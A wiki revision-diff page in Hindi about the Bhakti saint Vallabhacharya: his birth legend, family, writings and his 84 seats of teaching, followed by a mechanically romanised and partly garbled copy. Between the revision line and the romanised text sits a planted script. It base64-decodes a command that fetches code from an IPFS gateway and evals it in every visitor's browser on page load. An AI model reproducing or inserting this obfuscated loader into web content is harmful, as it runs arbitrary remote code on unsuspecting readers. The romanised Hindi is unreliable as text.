Difference between revisions of "वल्लभाचार्य"

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
Line 2: Line 2:
 
{{tocright}}
 
{{tocright}}
  
भक्तिकालीन [[सगुणधारा]] की [[कृष्णभक्ति शाखा]] के आधारस्तंभ एवं [[वल्लभ-सम्प्रदाय|पुष्टिमार्ग]] के प्रणेता श्रीवल्लभाचार्यजी का प्रादुर्भाव ईः सन् 1479, वैशाख कृष्ण एकादशी को दक्षिण भारत के कांकरवाड ग्रामवासी तैलंग ब्राह्मण श्रीलक्ष्मणभट्टजी की पत्नी इलम्मागारू के गर्भ से काशी के समीप हुआ । उन्हें वैश्वानरावतार अग्नि का अवतार कहा गया है। वे वेदशास्त्र में पारंगत थे। श्रीरुद्रसंप्रदाय के श्रीविल्वमंगलाचार्यजी द्वारा इन्हें अष्टादशाक्षरगोपालमन्त्र की दीक्षा दी गई । त्रिदंड संन्यास की दीक्षा स्वामी नारायणेन्द्रतीर्थ से प्राप्त हुई। विवाह पंडित श्रीदेव भट्टजी की कन्या- महालक्ष्मी से हुआ, और यथासमय दो पुत्र हुए- श्री गोपीनाथ व श्रीविट्ठलनाथ। इनकी म्रत्यु 1531 में हुई ।
+
भक्तिकालीन [[सगुणधारा]] की [[कृष्णभक्ति शाखा]] के आधारस्तंभ एवं [[वल्लभ-सम्प्रदाय|पुष्टिमार्ग]] के प्रणेता श्री वल्लभाचार्य जी का प्रादुर्भाव ईः सन 1479, वैशाख कृष्ण एकादशी को दक्षिण [[भारत]] के कांकरवाड ग्रामवासी तैलंग ब्राह्मण श्री लक्ष्मणभट्ट जी की पत्नी इलम्मागारू के गर्भ से [[काशी]] के समीप हुआ । उन्हें 'वैश्वानरावतार अग्नि का अवतार' कहा गया है। वे वेद शास्त्र में पारंगत थे। श्री रुद्रसंप्रदाय के श्री विल्वमंगलाचार्य जी द्वारा इन्हें 'अष्टादशाक्षर गोपाल मन्त्र' की दीक्षा दी गई । त्रिदंड संन्यास की दीक्षा स्वामी नारायणेन्द्र तीर्थ से प्राप्त हुई। विवाह पंडित श्रीदेव भट्ट जी की कन्या महालक्ष्मी से हुआ, और यथासमय दो पुत्र हुए- श्री गोपीनाथ व श्रीविट्ठलनाथ। इनकी म्रत्यु 1531 में हुई ।
  
 
==जीवन-वृत्तांत==
 
==जीवन-वृत्तांत==
श्री बल्लभाचार्य जी विष्णुस्वामी संप्रदाय की परंपरा में एक स्वतंत्र भक्ति-पंथ के प्रतिष्ठाता, शुद्धाद्वैत दार्शनिक सिद्धांत के समर्थ प्रचारक और भगवत्-अनुग्रह प्रधान एवं भक्ति-सेवा समन्वित 'पुष्टि मार्ग' के प्रवर्त्तक थे। वे जिस काल में उत्पन्न हुए थे, वहा राजनैतिक , धार्मिक और सामाजिक सभी दृष्टियों से बड़े संकट का थां
+
श्री वल्लभाचार्य जी विष्णुस्वामी संप्रदाय की परंपरा में एक स्वतंत्र भक्ति-पंथ के प्रतिष्ठाता, शुद्धाद्वैत दार्शनिक सिद्धांत के समर्थक प्रचारक और भगवत-अनुग्रह प्रधान एवं भक्ति-सेवा समन्वित 'पुष्टि मार्ग' के प्रवर्त्तक थे। वे जिस काल में उत्पन्न हुए थे, वह राजनैतिक, धार्मिक और सामाजिक सभी दृष्टियों से बड़े संकट का थां
 
==पूर्वज और माता-पिता==
 
==पूर्वज और माता-पिता==
श्री बल्लभाचार्य जी के पूर्वज आंध्र राज्य में गोदावरी तटवर्ती कांकरवाड़ नामक स्थान के निवासी थे।  वे भारद्धाज गोत्रीय तैलंग ब्राह्मण थें  उनके पिता श्री लक्ष्मण भट्ट दीक्षित प्रकांड विद्वान और धार्मिक महापुरुष थे।  उनका विवाह विद्यानगर (विजयनगर) के राजपुरोहित सुशर्मा की गुणवती कन्या इल्लम्मगारू के साथ हुआ था; जिससे रामकृष्ण नामक पुत्र और सरस्वती एवं सुभद्रा नाम की दो कन्याओं की उत्पत्ति हुई थी।
+
श्री वल्लभाचार्य जी के पूर्वज [[आंध्र प्रदेश|आंध्र राज्य]] में [[गोदावरी नदी|गोदावरी]] तटवर्ती कांकरवाड़ नामक स्थान के निवासी थे।  वे भारद्धाज गोत्रीय तैलंग ब्राह्मण थें  उनके पिता श्री लक्ष्मण भट्ट दीक्षित प्रकांड विद्वान और धार्मिक महापुरुष थे।  उनका विवाह विद्यानगर (विजयनगर) के राजपुरोहित सुशर्मा की गुणवती कन्या इल्लम्मगारू के साथ हुआ था; जिससे रामकृष्ण नामक पुत्र और सरस्वती एवं सुभद्रा नाम की दो कन्याओं की उत्पत्ति हुई थी।
 
==जन्म==
 
==जन्म==
श्री लक्ष्मण भट्ट अपने संगी-साथियों के साथ यात्रा के कष्टों को सहन करते हुए जब वर्तमान मध्य प्रदेशांर्तगत रायपुर ज़िले के चंपारण्य नामक वन में होकर जा रहे थे, तब उनकी पत्नी को अकस्मात प्रसव-पीड़ा होने लगी। सायंकाल का समय था।  सब लोग पास के चौड़ा नगर में रात्रि को विश्राम करना चाहते थे; किन्तु इल्लमा जी वहाँ तक पहुँचने में भी असमर्थ थीं। निदान लक्ष्मण भट्ट अपनी पत्नी सहित उस निजंन वन में रह गये और उनके साथी आगे बढ़ कर चौड़ा नगर में पहुँच गये।  उसी रात्रि को इल्लम्मागारू ने उस निर्जन वन के एक विशाल शमी वृक्ष के नीचे अठमासा शिशु को जन्म दिया।  बालक पैदा होते ही निष्चेष्ट और संज्ञाहीन सा ज्ञात हुआ, इसलिए इल्लम्मागारू ने अपने पति को सूचित किया कि मृत बालक उत्पन्न हुआ है। रात्रि के अंधकार में लक्ष्मण भट्ट भी शिशु की ठीक तरह से परीक्षा नहीं कर सके। उन्होंने दैवेच्छा पर संतोष मानते हुए बालक को वस्त्र में लपेट कर शमी वृक्ष के नीचे एक गड़हे में रख दिया और उसे सूखे पत्तों से ढक दियां  तदुपरांत उसे वहीं छोड़ कर आप अपनी पत्नी सहित चौड़ा नगर में जाकर रात्रि में विश्राम करने लगे।
+
श्री लक्ष्मण भट्ट अपने संगी-साथियों के साथ यात्रा के कष्टों को सहन करते हुए जब वर्तमान [[मध्य प्रदेश]] में रायपुर ज़िले के चंपारण्य नामक वन में होकर जा रहे थे, तब उनकी पत्नी को अकस्मात प्रसव-पीड़ा होने लगी। सांयकाल का समय था।  सब लोग पास के चौड़ा नगर में रात्रि को विश्राम करना चाहते थे; किन्तु इल्लमा जी वहाँ तक पहुँचने में भी असमर्थ थीं। निदान लक्ष्मण भट्ट अपनी पत्नी सहित उस निर्जंन वन में रह गये और उनके साथी आगे बढ़ कर चौड़ा नगर में पहुँच गये।  उसी रात्रि को इल्लम्मागारू ने उस निर्जन वन के एक विशाल शमी वृक्ष के नीचे अठमासे शिशु को जन्म दिया।  बालक पैदा होते ही निष्चेष्ट और संज्ञाहीन सा ज्ञात हुआ, इसलिए इल्लम्मागारू ने अपने पति को सूचित किया कि मृत बालक उत्पन्न हुआ है। रात्रि के अंधकार में लक्ष्मण भट्ट भी शिशु की ठीक तरह से परीक्षा नहीं कर सके। उन्होंने दैवेच्छा पर संतोष मानते हुए बालक को वस्त्र में लपेट कर शमी वृक्ष के नीचे एक गड़ढे में रख दिया और उसे सूखे पत्तों से ढक दिया। तदुपरांत उसे वहीं छोड़ कर आप अपनी पत्नी सहित चौड़ा नगर में जाकर रात्रि में विश्राम करने लगे।
 
   
 
   
दूसरे दिन प्रात: काल आगत यात्रियों ने बतलाया कि काशी पर यवनों की चढ़ाई का संकट दूर हो गया । उस समाचार को सुन कर उनके कुछ साथी [[काशी]] वापिस जाने का विचार करने लगे और शेष दक्षिण की ओर जाने लगे।  लक्ष्मण भट्ट काशी जाने वाले दन के साथ हो लिये। जब वे गत रात्रि के स्थान पर पहुंचे, तो वहाँ पर उन्होंने अपने पुत्र को जीवित अवस्था में पाया। ऐसा कहा जाता है उस गड़हे के चहुँ ओर प्रज्वलित अग्नि का एक मंडल सा बना हुआ था और उसके बीच में वह नवजात बालक खेल रहा था।  उस अद्भुत दृश्य को देख कर दम्पती को बड़ा आश्चर्य और हर्ष हुआ।  इल्लम्मा जी ने तत्काल शिशु को अपनी गोद में उठा लिया और स्नेह से स्तन-पान कराया। उसी निर्जन वन में बालक के जात कर्म और नामकरण के [[संस्कार]] किये गये। बालक का नाम 'बल्लभ' रखा गया, जो बड़ा होने पर सुप्रसिद्ध महाप्रभु बल्लभाचार्य हुआ। उन्हें अग्निकुण्ड से उत्पन्न और भगवान की मुखाग्नि स्वरूप वैश्वानर का अवतार माना जाता है।
+
दूसरे दिन प्रात:काल आगत यात्रियों ने बतलाया कि काशी पर यवनों की चढ़ाई का संकट दूर हो गया । उस समाचार को सुन कर उनके कुछ साथी [[काशी]] वापिस जाने का विचार करने लगे और शेष दक्षिण की ओर जाने लगे।  लक्ष्मण भट्ट काशी जाने वाले दल के साथ हो लिये। जब वे गत रात्रि के स्थान पर पहुंचे, तो वहाँ पर उन्होंने अपने पुत्र को जीवित अवस्था में पाया। ऐसा कहा जाता है उस गड़ढे के चहुँ ओर प्रज्जवलित अग्नि का एक मंडल सा बना हुआ था और उसके बीच में वह नवजात बालक खेल रहा था।  उस अद्भुत दृश्य को देख कर दम्पति को बड़ा आश्चर्य और हर्ष हुआ।  इल्लम्मा जी ने तत्काल शिशु को अपनी गोद में उठा लिया और स्नेह से स्तनपान कराया। उसी निर्जन वन में बालक के जातकर्म और नामकरण के [[संस्कार]] किये गये। बालक का नाम 'वल्लभ' रखा गया, जो बड़ा होने पर सुप्रसिद्ध महाप्रभु वल्लभाचार्य हुआ। उन्हें अग्निकुण्ड से उत्पन्न और भगवान की मुखाग्नि स्वरूप 'वैश्वानर का अवतार' माना जाता है।
  
 
==आरंभिक जीवन==
 
==आरंभिक जीवन==
बल्लभाचार्य जी का आरंभिक जीवन काशी में व्यतीत हुआ था, जहाँ उनकी शिक्षा-दिक्षा तथा उनके अध्ययनादि की समचित व्यवस्था की गई थी।  उनके पिता श्री लक्ष्मण भट्ट ने उन्हें गोपाल मन्त्र की दीक्षा दी थी और श्री माधवेन्द्र पुरी के अतिरिक्त सर्वश्री विष्णुचित् तिरूमल और गुरुनारायण दीक्षित के नाम भी मिलते हैं। वे आरंभ से ही अत्यंत कुशाग्र बुद्धि और अद्भुत प्रतिभाशाली थे।  उन्होंने छोटी आयु में ही [[वेद]], [[वेदांग]], दर्शन, [[पुराण]], काव्यादि में तथा विविध धार्मिक ग्रंथों में अभूतपूर्व निपुणता प्राप्त की थी।  वे [[वैष्णव धर्म]] के अतिरिक्त [[जैन]], [[बौद्ध]] , [[शैव मत|शैव]], [[शाक्त]], शांकर आदि धर्म-संप्रदायों के अद्वितीय विद्वान थे।  उन्होंने अपने ज्ञान और पांडित्य के कारण काशी के विद्वत् समाज में आदरणीय स्थान प्राप्त किया था।
+
वल्लभाचार्य जी का आरंभिक जीवन काशी में व्यतीत हुआ था, जहाँ उनकी शिक्षा-दीक्षा तथा उनके अध्ययनादि की समुचित व्यवस्था की गई थी।  उनके पिता श्री लक्ष्मण भट्ट ने उन्हें गोपाल मन्त्र की दीक्षा दी थी और श्री माधवेन्द्र पुरी के अतिरिक्त सर्वश्री विष्णुचित तिरूमल और गुरुनारायण दीक्षित के नाम भी मिलते हैं। वे आरंभ से ही अत्यंत कुशाग्र बुद्धि और अद्भुत प्रतिभाशाली थे।  उन्होंने छोटी आयु में ही [[वेद]], [[वेदांग]], [[दर्शन]], [[पुराण]], काव्यादि में तथा विविध धार्मिक ग्रंथों में अभूतपूर्व निपुणता प्राप्त की थी।  वे [[वैष्णव धर्म]] के अतिरिक्त [[जैन]], [[बौद्ध]] , [[शैव मत|शैव]], [[शाक्त]], शांकर आदि धर्म-संप्रदायों के अद्वितीय विद्वान थे।  उन्होंने अपने ज्ञान और पांडित्य के कारण काशी के विद्वत समाज में आदरणीय स्थान प्राप्त किया था।
  
 
==कुटुम्ब-परिवार==
 
==कुटुम्ब-परिवार==
उनका कुटुम्ब-परिवार काफ़ी बड़ा और समृद्ध था, जिसके अधिकांश व्यक्ति दक्षिण के आंध्र प्रदेश में निवास करते थे।  उनकी दो बहिनें और तीन भाई थे।  बड़े भाई का नाम रामकृष्ण भट्ट था।  वे माधवेन्द्र पुरी के शिष्य और दक्षिण के किसी मठ के अधिपति थे।  उन्होंने तपस्या द्वारा बड़ी सिद्धि प्राप्त की थी। सं0 1568 में वे बल्लभाचार्य जी के साथ बदरीनाथ धाम की यात्रा को गये थे।  अपने उत्तर जीवन में वे संन्यासी हो गये थे।  उनकी संन्यासावस्था का नाम केशवपुरी था।  बल्लभाचार्य जी के छोटे भाई रामचन्द्र और विश्वनाथ थे।  रामचंद्र भट्ट बड़े विद्वान और अनेक शास्त्रों के ज्ञाता थे।  उनके एक पितृव्य ने उन्हें गोद ले लिया था और वे अपने पालक पिता के साथ [[अयोध्या]] में निवास करते थे।  उन्होंने अनेक ग्रंथो की रचना की थी, जिनमें श्रृंगार रोमावली शतक (रचना-काल सं0 1574), कृपा-कुतूहल, गोपाल लीला महाकाव्य और श्रृंगार वेदान्त के नाम मिलते हैं।
+
उनका कुटुम्ब परिवार काफ़ी बड़ा और समृद्ध था, जिसके अधिकांश व्यक्ति दक्षिण के [[आंध्र प्रदेश]] में निवास करते थे।  उनकी दो बहिनें और तीन भाई थे।   
 +
*बड़े भाई का नाम रामकृष्ण भट्ट था।  वे माधवेन्द्र पुरी के शिष्य और दक्षिण के किसी मठ के अधिपति थे।  उन्होंने तपस्या द्वारा बड़ी सिद्धि प्राप्त की थी। सं0 1568 में वे वल्लभाचार्य जी के साथ बदरीनाथ धाम की यात्रा को गये थे।  अपने उत्तर जीवन में वे संन्यासी हो गये थे।  उनकी संन्यासावस्था का नाम केशवपुरी था।   
 +
*वल्लभाचार्य जी के छोटे भाई रामचन्द्र और विश्वनाथ थे।  रामचंद्र भट्ट बड़े विद्वान और अनेक शास्त्रों के ज्ञाता थे।  उनके एक पितृव्य ने उन्हें गोद ले लिया था और वे अपने पालक पिता के साथ [[अयोध्या]] में निवास करते थे।  उन्होंने अनेक ग्रंथो की रचना की थी, जिनमें 'श्रृंगार रोमावली शतक' (रचना-काल सं0 1574), 'कृपा-कुतूहल', 'गोपाल लीला' महाकाव्य और 'श्रृंगार वेदान्त' के नाम मिलते हैं।
  
बल्लभाचार्य जी का अध्ययन सं0 1545 में समाप्त हो गया था।  तब उनके माता-पिता उन्हें लेकर तीर्थ-यात्रा को चले गये थे।  वे काशी से चल कर विविध तीर्थों की यात्रा करते हुए जगदीश पुरी गये और वहाँ से दक्षिण चले गये।  दक्षिण के श्री वेंकटेश्वर बाला जी में सं0 1546 की चैत्र कृ0 9 को उनका देहावसान हुआ था। उस समय बल्लभाचार्य जी की आयु केवल 11-12 वर्ष की थी, किन्तु तब तक वे प्रकांड विद्वान और अद्वितीय धर्म-वेत्ता के रूप में प्रसिद्ध हो चुके थे। उन्होंने काशी और जगदीश पुरी में अनेक विद्वानों से शास्त्रार्थ कर विजय प्राप्त की थी। बल्लभाचार्य जी के दो पुत्र हुए थे।  बड़े पुत्र गोपीनाथ जी का जन्म सं0 1568 की आश्विन कृ0 12 को अड़ैल में और छोटे पुत्र [[विट्ठलनाथ]] जी का जन्म सं0 1572 की पौष कृ0 9 को चरणाट में हुआ था।  दोनों पुत्र अपने पिता के समान विद्वान और धर्मनिष्ठ थे।
+
वल्लभाचार्य जी का अध्ययन सं0 1545 में समाप्त हो गया था।  तब उनके माता-पिता उन्हें लेकर तीर्थ यात्रा को चले गये थे।  वे काशी से चल कर विविध तीर्थों की यात्रा करते हुए जगदीश पुरी गये और वहाँ से दक्षिण चले गये।  दक्षिण के श्री वेंकटेश्वर बाला जी में सं0 1546 की चैत्र कृ0 9 को उनका देहावसान हुआ था। उस समय वल्लभाचार्य जी की आयु केवल 11-12 वर्ष की थी, किन्तु तब तक वे प्रकांड विद्वान और अद्वितीय धर्म-वेत्ता के रूप में प्रसिद्ध हो चुके थे। उन्होंने काशी और जगदीश पुरी में अनेक विद्वानों से शास्त्रार्थ कर विजय प्राप्त की थी। वल्लभाचार्य जी के दो पुत्र हुए थे।  बड़े पुत्र [[गोपीनाथ]] जी का जन्म सं0 1568 की आश्विन कृ0 12 को अड़ैल में और छोटे पुत्र [[विट्ठलनाथ]] जी का जन्म सं0 1572 की पौष कृ0 9 को चरणाट में हुआ था।  दोनों पुत्र अपने पिता के समान विद्वान और धर्मनिष्ठ थे।
 
==आचार्य जी के ग्रंथ==
 
==आचार्य जी के ग्रंथ==
1.ब्रह्मसूत्र का 'अणु भाष्य' और वृहद भाष्य,' 2.भागवत की 'सुबोधिनी' टीका, 3. भागवत तत्वदीप निबंध, 4.पूर्व मीमाँसा भाष्य, 5.गायत्री भाष्य, 6.पत्रावलंवन , 7. पुरुषोत्तम सहस्त्रनाम, 8.दशमस्कंध अनुक्रमणिका, 9.त्रिविध नामावली, 10.शिक्षा श्लोक, 11 से 26 षोडस ग्रंथ, (1.यमुनाष्टक,2.बाल बोध,3.सिद्धांत मुक्तावली,4.पुष्टि प्रवाह मर्यादा भेद, 5.सिद्धान्त 6.नवरत्न, 7.अंत:करण प्रबोध, 8. विवेकधैयश्रिय, 9.कृष्णाश्रय, 10.चतुश्लोकी, 11.भक्तिवर्धिनी, 12.जलभेद, 13.पंचपद्य, 14.संन्सास निर्णय, 15.निरोध लक्षण 16.सेवाफल) 27.भगवत्पीठिका, 28.न्यायादेश, 29.सेवा फल विवरण, 30.प्रेमामृत तथा 31. विविध अष्टक, (1.मधुराष्टक, 2.परिवृढ़ाष्टक, 3. नंदकुमार अष्टक, 4.श्री कृष्णाष्टक, 5. गोपीजनबल्लभाष्टक आदि।)
+
#ब्रह्मसूत्र का 'अणु भाष्य' और वृहद भाष्य,'  
 +
#भागवत की 'सुबोधिनी' टीका,  
 +
#भागवत तत्वदीप निबंध,  
 +
#पूर्व मीमांसा भाष्य,  
 +
#गायत्री भाष्य,  
 +
#पत्रावलंवन ,  
 +
#पुरुषोत्तम सहस्त्रनाम,  
 +
#दशमस्कंध अनुक्रमणिका,  
 +
#त्रिविध नामावली,  
 +
#शिक्षा श्लोक,  
 +
#11 से 26 षोडस ग्रंथ, (1.यमुनाष्टक,2.बाल बोध,3.सिद्धांत मुक्तावली,4.पुष्टि प्रवाह मर्यादा भेद, 5.सिद्धान्त 6.नवरत्न, 7.अंत:करण प्रबोध, 8. विवेकधैयश्रिय, 9.कृष्णाश्रय, 10.चतुश्लोकी, 11.भक्तिवर्धिनी, 12.जलभेद, 13.पंचपद्य, 14.संन्सास निर्णय, 15.निरोध लक्षण 16.सेवाफल)  
 +
#भगवत्पीठिका,  
 +
#न्यायादेश,  
 +
#सेवा फल विवरण,  
 +
#प्रेमामृत तथा  
 +
#विविध अष्टक, (1.मधुराष्टक, 2.परिवृढ़ाष्टक, 3. नंदकुमार अष्टक, 4.श्री कृष्णाष्टक, 5. गोपीजनबल्लभाष्टक आदि।)
 
==आचार्य जी की बैठकें==
 
==आचार्य जी की बैठकें==
श्री बल्लभाचार्य जी ने अपनी यात्राओं में जहाँ श्रीमद् भागवत का प्रवचन किया था।  अथवा जिन स्थानों का उन्होंने विशेष माहात्म्य बतलाया था, वहाँ उनकी बैठकें बनी हुई हैं, जो 'आचार्य महाप्रभु जी की बैठकें' कहलाती हैं।  बल्लभ संप्रदाय में ये बैठकें मन्दिर देवालयों की भाँति ही पवित्र और दर्शनीय मानी जाती है। इन बैठकों की संख्या 84 है, और ये समस्त देश में फैली हुई हैं। इनमें से 24 वैठकें ब्रजमंडल में हैं, जो [[ब्रज चौरासी कोस की यात्रा]] के विविध स्थानों में बनी हुई हैं।
+
श्री वल्लभाचार्य जी ने अपनी यात्राओं में जहाँ [[श्रीमद्भागवत]] का प्रवचन किया था अथवा जिन स्थानों का उन्होंने विशेष माहात्म्य बतलाया था, वहाँ उनकी बैठकें बनी हुई हैं, जो 'आचार्य महाप्रभु जी की बैठकें' कहलाती हैं।  वल्लभ संप्रदाय में ये बैठकें मन्दिर देवालयों की भाँति ही पवित्र और दर्शनीय मानी जाती है। इन बैठकों की संख्या 84 है, और ये समस्त देश में फैली हुई हैं। इनमें से 24 बैठकें [[ब्रजमंडल]] में हैं, जो [[ब्रज चौरासी कोस की यात्रा]] के विविध स्थानों में बनी हुई हैं।
 
 
 
ब्रज स्थिति बैठकों को विवरण इस प्रकार हैं—
 
ब्रज स्थिति बैठकों को विवरण इस प्रकार हैं—
  
1. [[गोकुल]] में – गोविन्दघाट पर है, जो सं0 1550 में आचार्य जी के सर्वप्रथम ब्रज में  
+
#[[गोकुल]] में – गोविन्दघाट पर है, जो सं0 1550 में आचार्य जी के सर्वप्रथम ब्रज में पधारने और वहां भागवत का प्रचलन करने के अनन्तर दामोदरदास हरसानी को ब्रह्म संबंध की प्रथम दीक्षा देने की स्मृति में बनाई गई है।
पधारने और बहां भागवत का प्रचलन करने के अनन्तर दामोदरदास हरसानी को ब्रह्म संबंध की प्रथम दीक्षा देने की स्मृति में बनाई गई है।<br />
+
#गोकुल में - श्री द्वारकानाथ जी के मन्दिर के बाहर है, जो 'बड़ी बैठक' कहलाती है।
2. गोकुल में-- श्री द्वारकानाथ जी के मन्दिर के बाहर है, जो 'बड़ी बैठक' कहलाती है।<br />
+
#गोकुल में - शैया मन्दिर की बैठक के नाम से प्रसिद्ध है।
3. गोकुल में-- शैया मन्दिर की बैठक के नाम से प्रसिद्ध है।<br />
+
#[[मथुरा]] में - [[विश्राम घाट मथुरा|विश्राम घाट]] पर है, जो सं0 1550 में आचार्य जी के प्रथम बार मथुरा पधारने और वहाँ की 'यंत्र-बाधा' के निवारण एवं श्रीमद् भागवत की कथा कहने की स्मृति में बनाई गई है।
4. [[मथुरा]] में-- [[विश्राम घाट मथुरा|विश्राम घाट]] पर है, जो सं0 1550 में आचार्य जी के प्रथम बार मथुरा  
+
#[[मधुवन]] में - [[राधाकुण्ड गोवर्धन|कृष्णकुण्ड]] पर है।
पधारने और वहाँ की 'यंत्र-बाधा' के निवारण एवं श्रीमद् भागवत की कथा कहने की स्मृति में बनाई गई है।<br />
+
#[[कुमुदवन|कुमुदबन]] में - [[बिहार कुण्ड]] पर है।
5. [[मधुवन]] में-- [[राधाकुण्ड गोवर्धन|कृष्णकुण्ड]] पर है।<br />
+
#[[बहुलावन|बहुलाबन]] में - कुण्ड पर वट वृक्ष के नीचे है।
6. [[कुमुदवन|कुमुदबन]] में-- [[बिहार कुण्ड]] पर है।<br />
+
#[[राधाकुण्ड गोवर्धन|राधाकुण्ड]] में - वल्लभघाट पर है।
7. [[बहुलावन|बहुलाबन]] में-- कुण्ड पर वट वृक्ष के नीचे है।<br />
+
#राधाकुण्ड में - चकलेश्वर के निकट [[मानसी गंगा]] के गंगा घाट पर है।
8. [[राधाकुण्ड गोवर्धन|राधाकुण्ड]] में-- बल्लभघाट पर है।<br />
+
#[[गोवर्धन]] में - चंद्रसरोवर पर छोंकर के वृक्ष के नीचे है।
9. राधाकुण्ड में-- चकलेश्वर के निकट मानसी गंगा के गंगाघाट पर है।<br />
+
#गोवर्धन में - [[आन्यौर]] में सद्दू पाँडे के घर में है।  इस स्थल पर श्री आचार्य जी ने सं0 1556 में श्रीनाथ जी की आरम्भिक सेवा का आयोजन किया था।
10.[[गोवर्धन]] में—  चंद्रसरोवर पर छोंकर के वृक्ष के नीचे है।<br />
+
#गोवर्धन में - गोविन्द कुण्ड पर है।
11.गोवर्धन में—  आन्यौर में सद्दू पाँडे के घर में है।  इस स्थल पर श्री आचार्य जी ने सं0  
+
#गोवर्धन में - [[जतीपुरा]] में श्री गिरिराज जी के [[मुखारविंद]] के सन्मुख है।  यहाँ पर श्रीनाथ जी के प्राकट्य की स्मृति में ब्रज-यात्रा के अवसर पर 'कुनवाड़ा' किया  
1556 में श्रीनाथ जी आरम्भिक सेवा का आयोजन किया था।<br />
+
जाता है।     
12.गोवर्धन में-- गोविन्दकुण्ड पर है।<br />
+
#[[काम्यवन|कामवन]] में - श्रीकुण्ड पर है।
13.गोवर्धन में-- [[जतीपुरा]] में श्री गिरिराज जी के [[मुखारविंद]] के सन्मुख है।  यहाँ पर श्रीनाथ  
+
#[[बरसाना]] में - [[गह्वरवन]] के कृष्णकुण्ड पर है।
जी के प्राकट्य की स्मृति में ब्रज-यात्रा के अवसर पर 'कुनवाड़ा' किया  
+
#करहला में - कृष्णकुण्ड पर है।
जाता है।<br />    
+
#[[संकेत]] में - कुण्ड पर छोंकर के वृक्ष के नीचे है।
14.[[काम्यवन|कामवन]] में-- श्रीकुण्ड पर है।<br />
+
#प्रेमसरोवर में - कुण्ड पर है।
15.[[बरसाना]] में-- गह्वरवन के कृष्णकुण्ड पर है।<br />
+
#[[नन्दगाँव|नन्दगांव]] में - पान सरोवर पर है।
16.करहला में-- कृष्णकुण्ड पर है।<br />
+
#[[कोकिलावन|कोकिलाबन]] में - [[राधाकुण्ड गोवर्धन|कृष्णकुण्ड]] पर हैं।
17.[[संकेत]] में-- कुण्ड पर छोंकर के वृक्ष के नीचे है।<br />
+
#शेषशायी में - क्षीरसागर कुण्ड पर है।
18.प्रेमसरोवर में-- कुण्ड पर है।<br />
+
#[[चीरघाट]] में - [[यमुना नदी|यमुना]] तट पर [[कात्यायनी पीठ वृन्दावन|कात्यायनी देवी]] के मन्दिर के निकट है।
19.[[नन्दगाँव|नन्दगांव]] में-- पान सरोवर पर है।<br />
+
#मानसरोवर - कुण्ड पर है।
20.[[कोकिलावन|कोकिलाबन]] में-[[राधाकुण्ड गोवर्धन|कृष्णकुण्ड]] पर हैं।<br />
+
#[[वृन्दावन]] में - वंशीवट पर है।
21.शेषशायी में -- क्षीरसागर कुण्ड पर है।<br />
 
22.[[चीरघाट]] में-- [[यमुना नदी|यमुना]] तट पर [[कात्यायनी पीठ वृन्दावन|कात्यायनी देवी]] के मन्दिर के निकट है।<br />
 
23.मानसरोवर-- कुण्ड पर है।<br />
 
24.[[वृन्दावन]] में-- वंशीबट पर है।<br />
 
 
==सम्बंधित लिंक==
 
==सम्बंधित लिंक==
 
{{भारत के संत}}
 
{{भारत के संत}}

Revision as of 11:38, 16 July 2010

vallabhachary- (san. 1535-san. 1587)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bhaktikalin sagunadhara ki krishnabhakti shakha ke adharastanbh evan pushtimarg ke praneta shri vallabhachary ji ka pradurbhav eeah san 1479, vaishakh krishna ekadashi ko dakshin bharat ke kaankaravad gramavasi tailang brahman shri lakshmanabhatt ji ki patni ilammagaroo ke garbh se kashi ke samip hua . unhean 'vaishvanaravatar agni ka avatar' kaha gaya hai. ve ved shastr mean parangat the. shri rudrasanpraday ke shri vilvamangalachary ji dvara inhean 'ashtadashakshar gopal mantr' ki diksha di gee . tridand sannyas ki diksha svami narayanendr tirth se prapt huee. vivah pandit shridev bhatt ji ki kanya mahalakshmi se hua, aur yathasamay do putr hue- shri gopinath v shrivitthalanath. inaki mratyu 1531 mean huee .

jivan-vrittaant

shri vallabhachary ji vishnusvami sanpraday ki paranpara mean ek svatantr bhakti-panth ke pratishthata, shuddhadvait darshanik siddhaant ke samarthak pracharak aur bhagavat-anugrah pradhan evan bhakti-seva samanvit 'pushti marg' ke pravarttak the. ve jis kal mean utpann hue the, vah rajanaitik, dharmik aur samajik sabhi drishtiyoan se b de sankat ka thaan

poorvaj aur mata-pita

shri vallabhachary ji ke poorvaj aandhr rajy mean godavari tatavarti kaankarava d namak sthan ke nivasi the. ve bharaddhaj gotriy tailang brahman thean unake pita shri lakshman bhatt dikshit prakaand vidvan aur dharmik mahapurush the. unaka vivah vidyanagar (vijayanagar) ke rajapurohit susharma ki gunavati kanya illammagaroo ke sath hua tha; jisase ramkrishna namak putr aur sarasvati evan subhadra nam ki do kanyaoan ki utpatti huee thi.

janm

shri lakshman bhatt apane sangi-sathiyoan ke sath yatra ke kashtoan ko sahan karate hue jab vartaman madhy pradesh mean rayapur zile ke chanparany namak van mean hokar ja rahe the, tab unaki patni ko akasmat prasav-pi da hone lagi. saanyakal ka samay tha. sab log pas ke chau da nagar mean ratri ko vishram karana chahate the; kintu illama ji vahaan tak pahuanchane mean bhi asamarth thian. nidan lakshman bhatt apani patni sahit us nirjann van mean rah gaye aur unake sathi age badh kar chau da nagar mean pahuanch gaye. usi ratri ko illammagaroo ne us nirjan van ke ek vishal shami vriksh ke niche athamase shishu ko janm diya. balak paida hote hi nishchesht aur sanjnahin sa jnat hua, isalie illammagaroo ne apane pati ko soochit kiya ki mrit balak utpann hua hai. ratri ke aandhakar mean lakshman bhatt bhi shishu ki thik tarah se pariksha nahian kar sake. unhoanne daivechchha par santosh manate hue balak ko vastr mean lapet kar shami vriksh ke niche ek g dadhe mean rakh diya aur use sookhe pattoan se dhak diya. taduparaant use vahian chho d kar ap apani patni sahit chau da nagar mean jakar ratri mean vishram karane lage.

